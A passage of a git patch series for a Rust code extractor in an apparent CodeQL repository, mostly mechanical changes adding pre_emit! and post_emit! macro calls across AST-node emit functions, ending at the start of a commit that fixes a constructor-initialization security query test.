post_emit!(ParenExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1949,13 +2051,14 @@ impl Translator<'_> { &mut self, node: &ast::ParenPat, ) -> Option> { + pre_emit!(ParenPat, self, node); let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::ParenPat { id: TrapId::Star, pat, }); self.emit_location(label, node); - emit_detached!(ParenPat, self, node, label); + post_emit!(ParenPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1963,13 +2066,14 @@ impl Translator<'_> { &mut self, node: &ast::ParenType, ) -> Option> { + pre_emit!(ParenTypeRepr, self, node); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ParenTypeRepr { id: TrapId::Star, type_repr, }); self.emit_location(label, node); - emit_detached!(ParenTypeRepr, self, node, label); + post_emit!(ParenTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1977,6 +2081,7 @@ impl Translator<'_> { &mut self, node: &ast::ParenthesizedArgList, ) -> Option> { + pre_emit!(ParenthesizedArgList, self, node); let type_args = node .type_args() .filter_map(|x| self.emit_type_arg(&x)) @@ -1986,11 +2091,12 @@ impl Translator<'_> { type_args, }); self.emit_location(label, node); - emit_detached!(ParenthesizedArgList, self, node, label); + post_emit!(ParenthesizedArgList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_path(&mut self, node: &ast::Path) -> Option> { + pre_emit!(Path, self, node); let qualifier = node.qualifier().and_then(|x| self.emit_path(&x)); let segment = node.segment().and_then(|x| self.emit_path_segment(&x)); let label = self.trap.emit(generated::Path { @@ -1999,7 +2105,7 @@ impl Translator<'_> { segment, }); self.emit_location(label, node); - emit_detached!(Path, self, node, label); + post_emit!(Path, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2007,6 +2113,7 @@ impl Translator<'_> { &mut self, node: &ast::PathExpr, ) -> Option> { + pre_emit!(PathExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -2018,7 +2125,7 @@ impl Translator<'_> { path, }); self.emit_location(label, node); - emit_detached!(PathExpr, self, node, label); + post_emit!(PathExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2026,13 +2133,14 @@ impl Translator<'_> { &mut self, node: &ast::PathPat, ) -> Option> { + pre_emit!(PathPat, self, node); let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathPat { id: TrapId::Star, path, }); self.emit_location(label, node); - emit_detached!(PathPat, self, node, label); + post_emit!(PathPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2040,6 +2148,7 @@ impl Translator<'_> { &mut self, node: &ast::PathSegment, ) -> Option> { + pre_emit!(PathSegment, self, node); let generic_arg_list = node .generic_arg_list() .and_then(|x| self.emit_generic_arg_list(&x)); @@ -2060,7 +2169,7 @@ impl Translator<'_> { return_type_syntax, }); self.emit_location(label, node); - emit_detached!(PathSegment, self, node, label); + post_emit!(PathSegment, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2068,13 +2177,14 @@ impl Translator<'_> { &mut self, node: &ast::PathType, ) -> Option> { + pre_emit!(PathTypeRepr, self, node); let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathTypeRepr { id: TrapId::Star, path, }); self.emit_location(label, node); - emit_detached!(PathTypeRepr, self, node, label); + post_emit!(PathTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2082,6 +2192,7 @@ impl Translator<'_> { &mut self, node: &ast::PrefixExpr, ) -> Option> { + pre_emit!(PrefixExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -2095,7 +2206,7 @@ impl Translator<'_> { operator_name, }); self.emit_location(label, node); - emit_detached!(PrefixExpr, self, node, label); + post_emit!(PrefixExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2103,6 +2214,7 @@ impl Translator<'_> { &mut self, node: &ast::PtrType, ) -> Option> { + pre_emit!(PtrTypeRepr, self, node); let is_const = node.const_token().is_some(); let is_mut = node.mut_token().is_some(); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); @@ -2113,7 +2225,7 @@ impl Translator<'_> { type_repr, }); self.emit_location(label, node); - emit_detached!(PtrTypeRepr, self, node, label); + post_emit!(PtrTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2121,6 +2233,7 @@ impl Translator<'_> { &mut self, node: &ast::RangeExpr, ) -> Option> { + pre_emit!(RangeExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -2136,7 +2249,7 @@ impl Translator<'_> { start, }); self.emit_location(label, node); - emit_detached!(RangeExpr, self, node, label); + post_emit!(RangeExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2144,6 +2257,7 @@ impl Translator<'_> { &mut self, node: &ast::RangePat, ) -> Option> { + pre_emit!(RangePat, self, node); let end = node.end().and_then(|x| self.emit_pat(&x)); let operator_name = node.try_get_text(); let start = node.start().and_then(|x| self.emit_pat(&x)); @@ -2154,7 +2268,7 @@ impl Translator<'_> { start, }); self.emit_location(label, node); - emit_detached!(RangePat, self, node, label); + post_emit!(RangePat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2162,6 +2276,7 @@ impl Translator<'_> { &mut self, node: &ast::RecordExpr, ) -> Option> { + pre_emit!(StructExpr, self, node); let path = node.path().and_then(|x| self.emit_path(&x)); let struct_expr_field_list = node .record_expr_field_list() @@ -2172,7 +2287,7 @@ impl Translator<'_> { struct_expr_field_list, }); self.emit_location(label, node); - emit_detached!(StructExpr, self, node, label); + post_emit!(StructExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2180,6 +2295,7 @@ impl Translator<'_> { &mut self, node: &ast::RecordExprField, ) -> Option> { + pre_emit!(StructExprField, self, node); if self.should_be_excluded(node) { return None; } @@ -2193,7 +2309,7 @@ impl Translator<'_> { identifier, }); self.emit_location(label, node); - emit_detached!(StructExprField, self, node, label); + post_emit!(StructExprField, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2201,6 +2317,7 @@ impl Translator<'_> { &mut self, node: &ast::RecordExprFieldList, ) -> Option> { + pre_emit!(StructExprFieldList, self, node); if self.should_be_excluded(node) { return None; } @@ -2217,7 +2334,7 @@ impl Translator<'_> { spread, }); self.emit_location(label, node); - emit_detached!(StructExprFieldList, self, node, label); + post_emit!(StructExprFieldList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2225,6 +2342,7 @@ impl Translator<'_> { &mut self, node: &ast::RecordField, ) -> Option> { + pre_emit!(StructField, self, node); if self.should_be_excluded(node) { return None; } @@ -2244,7 +2362,7 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(StructField, self, node, label); + post_emit!(StructField, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2252,6 +2370,7 @@ impl Translator<'_> { &mut self, node: &ast::RecordFieldList, ) -> Option> { + pre_emit!(StructFieldList, self, node); let fields = node .fields() .filter_map(|x| self.emit_record_field(&x)) @@ -2261,7 +2380,7 @@ impl Translator<'_> { fields, }); self.emit_location(label, node); - emit_detached!(StructFieldList, self, node, label); + post_emit!(StructFieldList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2269,6 +2388,7 @@ impl Translator<'_> { &mut self, node: &ast::RecordPat, ) -> Option> { + pre_emit!(StructPat, self, node); let path = node.path().and_then(|x| self.emit_path(&x)); let struct_pat_field_list = node .record_pat_field_list() @@ -2279,7 +2399,7 @@ impl Translator<'_> { struct_pat_field_list, }); self.emit_location(label, node); - emit_detached!(StructPat, self, node, label); + post_emit!(StructPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2287,6 +2407,7 @@ impl Translator<'_> { &mut self, node: &ast::RecordPatField, ) -> Option> { + pre_emit!(StructPatField, self, node); if self.should_be_excluded(node) { return None; } @@ -2300,7 +2421,7 @@ impl Translator<'_> { pat, }); self.emit_location(label, node); - emit_detached!(StructPatField, self, node, label); + post_emit!(StructPatField, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2308,6 +2429,7 @@ impl Translator<'_> { &mut self, node: &ast::RecordPatFieldList, ) -> Option> { + pre_emit!(StructPatFieldList, self, node); let fields = node .fields() .filter_map(|x| self.emit_record_pat_field(&x)) @@ -2319,7 +2441,7 @@ impl Translator<'_> { rest_pat, }); self.emit_location(label, node); - emit_detached!(StructPatFieldList, self, node, label); + post_emit!(StructPatFieldList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2327,6 +2449,7 @@ impl Translator<'_> { &mut self, node: &ast::RefExpr, ) -> Option> { + pre_emit!(RefExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -2344,11 +2467,12 @@ impl Translator<'_> { is_raw, }); self.emit_location(label, node); - emit_detached!(RefExpr, self, node, label); + post_emit!(RefExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_ref_pat(&mut self, node: &ast::RefPat) -> Option> { + pre_emit!(RefPat, self, node); let is_mut = node.mut_token().is_some(); let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::RefPat { @@ -2357,7 +2481,7 @@ impl Translator<'_> { pat, }); self.emit_location(label, node); - emit_detached!(RefPat, self, node, label); + post_emit!(RefPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2365,6 +2489,7 @@ impl Translator<'_> { &mut self, node: &ast::RefType, ) -> Option> { + pre_emit!(RefTypeRepr, self, node); let is_mut = node.mut_token().is_some(); let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); @@ -2375,18 +2500,19 @@ impl Translator<'_> { type_repr, }); self.emit_location(label, node); - emit_detached!(RefTypeRepr, self, node, label); + post_emit!(RefTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_rename(&mut self, node: &ast::Rename) -> Option> { + pre_emit!(Rename, self, node); let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::Rename { id: TrapId::Star, name, }); self.emit_location(label, node); - emit_detached!(Rename, self, node, label); + post_emit!(Rename, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2394,6 +2520,7 @@ impl Translator<'_> { &mut self, node: &ast::RestPat, ) -> Option> { + pre_emit!(RestPat, self, node); if self.should_be_excluded(node) { return None; } @@ -2403,7 +2530,7 @@ impl Translator<'_> { attrs, }); self.emit_location(label, node); - emit_detached!(RestPat, self, node, label); + post_emit!(RestPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2411,13 +2538,14 @@ impl Translator<'_> { &mut self, node: &ast::RetType, ) -> Option> { + pre_emit!(RetTypeRepr, self, node); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::RetTypeRepr { id: TrapId::Star, type_repr, }); self.emit_location(label, node); - emit_detached!(RetTypeRepr, self, node, label); + post_emit!(RetTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2425,6 +2553,7 @@ impl Translator<'_> { &mut self, node: &ast::ReturnExpr, ) -> Option> { + pre_emit!(ReturnExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -2436,7 +2565,7 @@ impl Translator<'_> { expr, }); self.emit_location(label, node); - emit_detached!(ReturnExpr, self, node, label); + post_emit!(ReturnExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2444,11 +2573,12 @@ impl Translator<'_> { &mut self, node: &ast::ReturnTypeSyntax, ) -> Option> { + pre_emit!(ReturnTypeSyntax, self, node); let label = self .trap .emit(generated::ReturnTypeSyntax { id: TrapId::Star }); self.emit_location(label, node); - emit_detached!(ReturnTypeSyntax, self, node, label); + post_emit!(ReturnTypeSyntax, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2456,6 +2586,7 @@ impl Translator<'_> { &mut self, node: &ast::SelfParam, ) -> Option> { + pre_emit!(SelfParam, self, node); if self.should_be_excluded(node) { return None; } @@ -2475,7 +2606,7 @@ impl Translator<'_> { type_repr, }); self.emit_location(label, node); - emit_detached!(SelfParam, self, node, label); + post_emit!(SelfParam, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2483,13 +2614,14 @@ impl Translator<'_> { &mut self, node: &ast::SlicePat, ) -> Option> { + pre_emit!(SlicePat, self, node); let pats = node.pats().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::SlicePat { id: TrapId::Star, pats, }); self.emit_location(label, node); - emit_detached!(SlicePat, self, node, label); + post_emit!(SlicePat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2497,13 +2629,14 @@ impl Translator<'_> { &mut self, node: &ast::SliceType, ) -> Option> { + pre_emit!(SliceTypeRepr, self, node); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::SliceTypeRepr { id: TrapId::Star, type_repr, }); self.emit_location(label, node); - emit_detached!(SliceTypeRepr, self, node, label); + post_emit!(SliceTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2511,6 +2644,7 @@ impl Translator<'_> { &mut self, node: &ast::SourceFile, ) -> Option> { + pre_emit!(SourceFile, self, node); if self.should_be_excluded(node) { return None; } @@ -2522,11 +2656,12 @@ impl Translator<'_> { items, }); self.emit_location(label, node); - emit_detached!(SourceFile, self, node, label); + post_emit!(SourceFile, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_static(&mut self, node: &ast::Static) -> Option> { + pre_emit!(Static, self, node); if self.should_be_excluded(node) { return None; } @@ -2550,7 +2685,7 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(Static, self, node, label); + post_emit!(Static, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2558,6 +2693,7 @@ impl Translator<'_> { &mut self, node: &ast::StmtList, ) -> Option> { + pre_emit!(StmtList, self, node); if self.should_be_excluded(node) { return None; } @@ -2574,11 +2710,12 @@ impl Translator<'_> { tail_expr, }); self.emit_location(label, node); - emit_detached!(StmtList, self, node, label); + post_emit!(StmtList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_struct(&mut self, node: &ast::Struct) -> Option> { + pre_emit!(Struct, self, node); if self.should_be_excluded(node) { return None; } @@ -2600,7 +2737,7 @@ impl Translator<'_> { where_clause, }); self.emit_location(label, node); - emit_detached!(Struct, self, node, label); + post_emit!(Struct, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2608,13 +2745,15 @@ impl Translator<'_> { &mut self, node: &ast::TokenTree, ) -> Option> { + pre_emit!(TokenTree, self, node); let label = self.trap.emit(generated::TokenTree { id: TrapId::Star }); self.emit_location(label, node); - emit_detached!(TokenTree, self, node, label); + post_emit!(TokenTree, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_trait(&mut self, node: &ast::Trait) -> Option> { + pre_emit!(Trait, self, node); if self.should_be_excluded(node) { return None; } @@ -2646,7 +2785,7 @@ impl Translator<'_> { where_clause, }); self.emit_location(label, node); - emit_detached!(Trait, self, node, label); + post_emit!(Trait, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2654,6 +2793,7 @@ impl Translator<'_> { &mut self, node: &ast::TraitAlias, ) -> Option> { + pre_emit!(TraitAlias, self, node); if self.should_be_excluded(node) { return None; } @@ -2677,7 +2817,7 @@ impl Translator<'_> { where_clause, }); self.emit_location(label, node); - emit_detached!(TraitAlias, self, node, label); + post_emit!(TraitAlias, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2685,6 +2825,7 @@ impl Translator<'_> { &mut self, node: &ast::TryExpr, ) -> Option> { + pre_emit!(TryExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -2696,7 +2837,7 @@ impl Translator<'_> { expr, }); self.emit_location(label, node); - emit_detached!(TryExpr, self, node, label); + post_emit!(TryExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2704,6 +2845,7 @@ impl Translator<'_> { &mut self, node: &ast::TupleExpr, ) -> Option> { + pre_emit!(TupleExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -2715,7 +2857,7 @@ impl Translator<'_> { fields, }); self.emit_location(label, node); - emit_detached!(TupleExpr, self, node, label); + post_emit!(TupleExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2723,6 +2865,7 @@ impl Translator<'_> { &mut self, node: &ast::TupleField, ) -> Option> { + pre_emit!(TupleField, self, node); if self.should_be_excluded(node) { return None; } @@ -2736,7 +2879,7 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(TupleField, self, node, label); + post_emit!(TupleField, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2744,6 +2887,7 @@ impl Translator<'_> { &mut self, node: &ast::TupleFieldList, ) -> Option> { + pre_emit!(TupleFieldList, self, node); let fields = node .fields() .filter_map(|x| self.emit_tuple_field(&x)) @@ -2753,7 +2897,7 @@ impl Translator<'_> { fields, }); self.emit_location(label, node); - emit_detached!(TupleFieldList, self, node, label); + post_emit!(TupleFieldList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2761,13 +2905,14 @@ impl Translator<'_> { &mut self, node: &ast::TuplePat, ) -> Option> { + pre_emit!(TuplePat, self, node); let fields = node.fields().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::TuplePat { id: TrapId::Star, fields, }); self.emit_location(label, node); - emit_detached!(TuplePat, self, node, label); + post_emit!(TuplePat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2775,6 +2920,7 @@ impl Translator<'_> { &mut self, node: &ast::TupleStructPat, ) -> Option> { + pre_emit!(TupleStructPat, self, node); let fields = node.fields().filter_map(|x| self.emit_pat(&x)).collect(); let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::TupleStructPat { @@ -2783,7 +2929,7 @@ impl Translator<'_> { path, }); self.emit_location(label, node); - emit_detached!(TupleStructPat, self, node, label); + post_emit!(TupleStructPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2791,13 +2937,14 @@ impl Translator<'_> { &mut self, node: &ast::TupleType, ) -> Option> { + pre_emit!(TupleTypeRepr, self, node); let fields = node.fields().filter_map(|x| self.emit_type(&x)).collect(); let label = self.trap.emit(generated::TupleTypeRepr { id: TrapId::Star, fields, }); self.emit_location(label, node); - emit_detached!(TupleTypeRepr, self, node, label); + post_emit!(TupleTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2805,6 +2952,7 @@ impl Translator<'_> { &mut self, node: &ast::TypeAlias, ) -> Option> { + pre_emit!(TypeAlias, self, node); if self.should_be_excluded(node) { return None; } @@ -2832,7 +2980,7 @@ impl Translator<'_> { where_clause, }); self.emit_location(label, node); - emit_detached!(TypeAlias, self, node, label); + post_emit!(TypeAlias, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2840,13 +2988,14 @@ impl Translator<'_> { &mut self, node: &ast::TypeArg, ) -> Option> { + pre_emit!(TypeArg, self, node); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::TypeArg { id: TrapId::Star, type_repr, }); self.emit_location(label, node); - emit_detached!(TypeArg, self, node, label); + post_emit!(TypeArg, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2854,6 +3003,7 @@ impl Translator<'_> { &mut self, node: &ast::TypeBound, ) -> Option> { + pre_emit!(TypeBound, self, node); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); @@ -2870,7 +3020,7 @@ impl Translator<'_> { use_bound_generic_args, }); self.emit_location(label, node); - emit_detached!(TypeBound, self, node, label); + post_emit!(TypeBound, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2878,6 +3028,7 @@ impl Translator<'_> { &mut self, node: &ast::TypeBoundList, ) -> Option> { + pre_emit!(TypeBoundList, self, node); let bounds = node .bounds() .filter_map(|x| self.emit_type_bound(&x)) @@ -2887,7 +3038,7 @@ impl Translator<'_> { bounds, }); self.emit_location(label, node); - emit_detached!(TypeBoundList, self, node, label); + post_emit!(TypeBoundList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2895,6 +3046,7 @@ impl Translator<'_> { &mut self, node: &ast::TypeParam, ) -> Option> { + pre_emit!(TypeParam, self, node); if self.should_be_excluded(node) { return None; } @@ -2912,7 +3064,7 @@ impl Translator<'_> { type_bound_list, }); self.emit_location(label, node); - emit_detached!(TypeParam, self, node, label); + post_emit!(TypeParam, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2920,6 +3072,7 @@ impl Translator<'_> { &mut self, node: &ast::UnderscoreExpr, ) -> Option> { + pre_emit!(UnderscoreExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -2929,11 +3082,12 @@ impl Translator<'_> { attrs, }); self.emit_location(label, node); - emit_detached!(UnderscoreExpr, self, node, label); + post_emit!(UnderscoreExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_union(&mut self, node: &ast::Union) -> Option> { + pre_emit!(Union, self, node); if self.should_be_excluded(node) { return None; } @@ -2957,11 +3111,12 @@ impl Translator<'_> { where_clause, }); self.emit_location(label, node); - emit_detached!(Union, self, node, label); + post_emit!(Union, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_use(&mut self, node: &ast::Use) -> Option> { + pre_emit!(Use, self, node); if self.should_be_excluded(node) { return None; } @@ -2975,7 +3130,7 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(Use, self, node, label); + post_emit!(Use, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -2983,6 +3138,7 @@ impl Translator<'_> { &mut self, node: &ast::UseBoundGenericArgs, ) -> Option> { + pre_emit!(UseBoundGenericArgs, self, node); let use_bound_generic_args = node .use_bound_generic_args() .filter_map(|x| self.emit_use_bound_generic_arg(&x)) @@ -2992,7 +3148,7 @@ impl Translator<'_> { use_bound_generic_args, }); self.emit_location(label, node); - emit_detached!(UseBoundGenericArgs, self, node, label); + post_emit!(UseBoundGenericArgs, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3000,6 +3156,7 @@ impl Translator<'_> { &mut self, node: &ast::UseTree, ) -> Option> { + pre_emit!(UseTree, self, node); let is_glob = node.star_token().is_some(); let path = node.path().and_then(|x| self.emit_path(&x)); let rename = node.rename().and_then(|x| self.emit_rename(&x)); @@ -3014,7 +3171,7 @@ impl Translator<'_> { use_tree_list, }); self.emit_location(label, node); - emit_detached!(UseTree, self, node, label); + post_emit!(UseTree, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3022,6 +3179,7 @@ impl Translator<'_> { &mut self, node: &ast::UseTreeList, ) -> Option> { + pre_emit!(UseTreeList, self, node); let use_trees = node .use_trees() .filter_map(|x| self.emit_use_tree(&x)) @@ -3031,7 +3189,7 @@ impl Translator<'_> { use_trees, }); self.emit_location(label, node); - emit_detached!(UseTreeList, self, node, label); + post_emit!(UseTreeList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3039,6 +3197,7 @@ impl Translator<'_> { &mut self, node: &ast::Variant, ) -> Option> { + pre_emit!(Variant, self, node); if self.should_be_excluded(node) { return None; } @@ -3056,7 +3215,7 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(Variant, self, node, label); + post_emit!(Variant, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3064,6 +3223,7 @@ impl Translator<'_> { &mut self, node: &ast::VariantList, ) -> Option> { + pre_emit!(VariantList, self, node); let variants = node .variants() .filter_map(|x| self.emit_variant(&x)) @@ -3073,7 +3233,7 @@ impl Translator<'_> { variants, }); self.emit_location(label, node); - emit_detached!(VariantList, self, node, label); + post_emit!(VariantList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3081,13 +3241,14 @@ impl Translator<'_> { &mut self, node: &ast::Visibility, ) -> Option> { + pre_emit!(Visibility, self, node); let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::Visibility { id: TrapId::Star, path, }); self.emit_location(label, node); - emit_detached!(Visibility, self, node, label); + post_emit!(Visibility, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3095,6 +3256,7 @@ impl Translator<'_> { &mut self, node: &ast::WhereClause, ) -> Option> { + pre_emit!(WhereClause, self, node); let predicates = node .predicates() .filter_map(|x| self.emit_where_pred(&x)) @@ -3104,7 +3266,7 @@ impl Translator<'_> { predicates, }); self.emit_location(label, node); - emit_detached!(WhereClause, self, node, label); + post_emit!(WhereClause, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3112,6 +3274,7 @@ impl Translator<'_> { &mut self, node: &ast::WherePred, ) -> Option> { + pre_emit!(WherePred, self, node); let generic_param_list = node .generic_param_list() .and_then(|x| self.emit_generic_param_list(&x)); @@ -3128,7 +3291,7 @@ impl Translator<'_> { type_bound_list, }); self.emit_location(label, node); - emit_detached!(WherePred, self, node, label); + post_emit!(WherePred, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3136,6 +3299,7 @@ impl Translator<'_> { &mut self, node: &ast::WhileExpr, ) -> Option> { + pre_emit!(WhileExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -3151,7 +3315,7 @@ impl Translator<'_> { loop_body, }); self.emit_location(label, node); - emit_detached!(WhileExpr, self, node, label); + post_emit!(WhileExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3159,9 +3323,10 @@ impl Translator<'_> { &mut self, node: &ast::WildcardPat, ) -> Option> { + pre_emit!(WildcardPat, self, node); let label = self.trap.emit(generated::WildcardPat { id: TrapId::Star }); self.emit_location(label, node); - emit_detached!(WildcardPat, self, node, label); + post_emit!(WildcardPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3169,6 +3334,7 @@ impl Translator<'_> { &mut self, node: &ast::YeetExpr, ) -> Option> { + pre_emit!(YeetExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -3180,7 +3346,7 @@ impl Translator<'_> { expr, }); self.emit_location(label, node); - emit_detached!(YeetExpr, self, node, label); + post_emit!(YeetExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -3188,6 +3354,7 @@ impl Translator<'_> { &mut self, node: &ast::YieldExpr, ) -> Option> { + pre_emit!(YieldExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -3199,7 +3366,7 @@ impl Translator<'_> { expr, }); self.emit_location(label, node); - emit_detached!(YieldExpr, self, node, label); + post_emit!(YieldExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } From 31b48e18e62a365a1af5339a7b7d4e80629d611e Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 19 May 2025 11:30:28 +0200 Subject: [PATCH 352/535] Rust: fix `BadCtorInitialization` test --- .../security/CWE-696/BadCtorInitialization.ql | 3 +- .../CWE-696/BadCTorInitialization.expected | 108 +++++++++++------- .../test/query-tests/security/CWE-696/test.rs | 12 +- 3 files changed, 73 insertions(+), 50 deletions(-) diff --git a/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql b/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql index 75946d89e11b..cff84ed51d70 100644 --- a/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql +++ b/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql @@ -82,4 +82,5 @@ query predicate edges(PathElement pred, PathElement succ) { from CtorAttr source, StdCall sink where edges+(source, sink) select sink, source, sink, - "Call to " + 